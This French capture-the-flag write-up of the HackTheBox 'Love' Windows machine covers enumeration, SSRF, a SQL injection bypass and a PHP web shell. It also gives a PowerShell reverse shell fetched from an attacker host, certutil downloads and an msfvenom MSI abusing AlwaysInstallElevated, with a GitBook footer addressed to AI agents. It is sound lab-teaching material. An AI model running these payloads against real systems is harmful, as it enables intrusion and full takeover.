> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md). # Récapitulatif HackTheBox de Love Récapitulatif de la machine HackTheBox Windows facile Love couvrant l'injection SQL (SQLI), la falsification de requête côté serveur (SSRF), l'abus du téléversement de fichiers, l'exploitation du système de vote, avec une énumération pratique, une exploitation, f {% embed url="" %} {% hint style="warning" %} **Compétences :** * Injection SQL (SQLI) * Falsification de requête côté serveur (SSRF) * Abus du téléversement de fichiers * Exploitation du système de vote * Abus de AlwaysInstallElevated (fichier msiexec/msi) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Exploration des ports ouverts et exportation dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts ```

**Analyse des ports ouverts avec extractport :** Utilisation de la fonction extractport pour afficher les ports ouverts de manière concise et les copier dans le presse-papiers.

**Analyse des versions des ports avec Nmap :** Utilisation de Nmap pour analyser les versions des ports et extraire les informations dans le fichier "targeted" : ```bash nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted ```

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` fichier

**Recherche de répertoires :** Nous utilisons Gobuster pour rechercher des répertoires sur le site : ```bash gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

Dans le `admin` répertoire, nous découvrons un panneau de gestion.

## Exploitation du système de vote : Dans ce cas, il existe deux façons d'exploiter le panneau de gestion du système de vote : ### 1. Vulnérabilité SSRF : Le port 443 révèle un `staging.love.htb` sous-domaine que nous ajoutons à notre `/etc/hosts` fichier.

Ce site peut analyser des sites web via une URL.

En analysant `localhost:5000` (non accessible depuis l'extérieur), nous découvrons des identifiants : `admin: @LoveIsInTheAir!!!!`

Remarque : à l'extérieur, le message " Vous n'avez pas l'autorisation d'accéder à cette ressource." s'affiche, bloquant l'accès.

### **2. Vulnérabilité d'injection SQL (**[**SQLi**](/fr/web/sql-injection.md)**) :** Avec `searchsploit` nous recherchons des vulnérabilités spécifiques du système de vote et trouvons le payload suivant :

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -` En utilisant Burp Suite, nous accédons au tableau de bord.

## Vulnérabilité de téléversement de fichiers : Une fois dans le tableau de bord, une option permet de créer un nouvel utilisateur. Nous créons un `cmd.php` fichier pour exécuter des commandes sur le serveur :

```bash " . shell_exec($_REQUEST['cmd']) . ""; ?> ```

Le panneau n'applique aucune vérification de sécurité, ce qui nous permet d'injecter des commandes (par exemple, `whoami`). En testant une commande ping, nous vérifions la connexion :

nous allons vérifier s'il peut lancer un ping

ping 10.10.14.10
tcpdump -i tun0 icmp

Comme nous recevons la réponse, nous confirmons la possibilité d'exécuter des commandes sur la machine cible

**Commande PowerShell pour une shell inverse** Une fois que nous verrons que nous pouvons exécuter des commandes, nous téléchargerons le `PS.ps1` script sur notre machine. {% embed url="" %} À la fin du script, nous ajoutons la ligne suivante : ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444 ```

Nous allons créer un serveur web avec le `PS.ps1` script ```bash python3 -m http.server 80 ``` Ensuite, nous allons modifier la commande pour qu'elle pointe vers notre serveur web : {% code overflow="wrap" %} ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')" ``` {% endcode %} Enfin, nous écoutons sur le port 4444 : ```bash rlwrap nc -nlvp 4444 ```

### Flag user.txt :

## Élévation de privilèges : ### **Énumération avec winPEASx64.exe** Pour effectuer une élévation de privilèges sur un serveur Windows, exécutez d'abord l' `outil de reconnaissance winPEAS` outil de reconnaissance. {% embed url="" %} Téléchargement de l'outil de reconnaissance WIN-peacex64.exe. ```purebasic certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe ```

```powershell ./winPEAS.exe ```

### Vérification de AlwaysInstallElevated Le `outil de reconnaissance winPEAS` outil vérifie divers paramètres de sécurité du système. Nous nous intéressons particulièrement à la `AlwaysInstallElevated` clé de registre. Si cette clé est définie sur `1` dans `HKLM` (HKEY/ LOCAL/ MACHINE), cela indique que tous les `.msi` fichiers peuvent être installés avec des privilèges élevés, ce qui constitue une vulnérabilité.

{% embed url="" %} **Créer un fichier .msi pour obtenir une shell inverse** Pour tirer parti de cette vulnérabilité, nous allons créer un `.msi` fichier qui, une fois exécuté, nous fournira une shell inverse. Nous utilisons `msfvenom` pour générer ce fichier : ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi ``` **Transfert du fichier .msi**/ fichier Après avoir créé le fichier, nous devons le transférer vers la machine cible : ```bash certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi ```

**Écouter sur le port 443**/ Avant d'exécuter le `.msi` fichier, nous devons écouter sur le port que nous avons spécifié. Utilisons `nc` (netcat) pour cela : ```powershell rlwrap nc -nlvp 443 ``` **Exécution de la commande d'installation**/ Enfin, nous exécutons le `.msi` fichier à l'aide de `msiexec`, ce qui déclenche l'installation silencieuse : ```powershell msiexec /quiet /qn /i reverse.msi ```

### Flag root :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.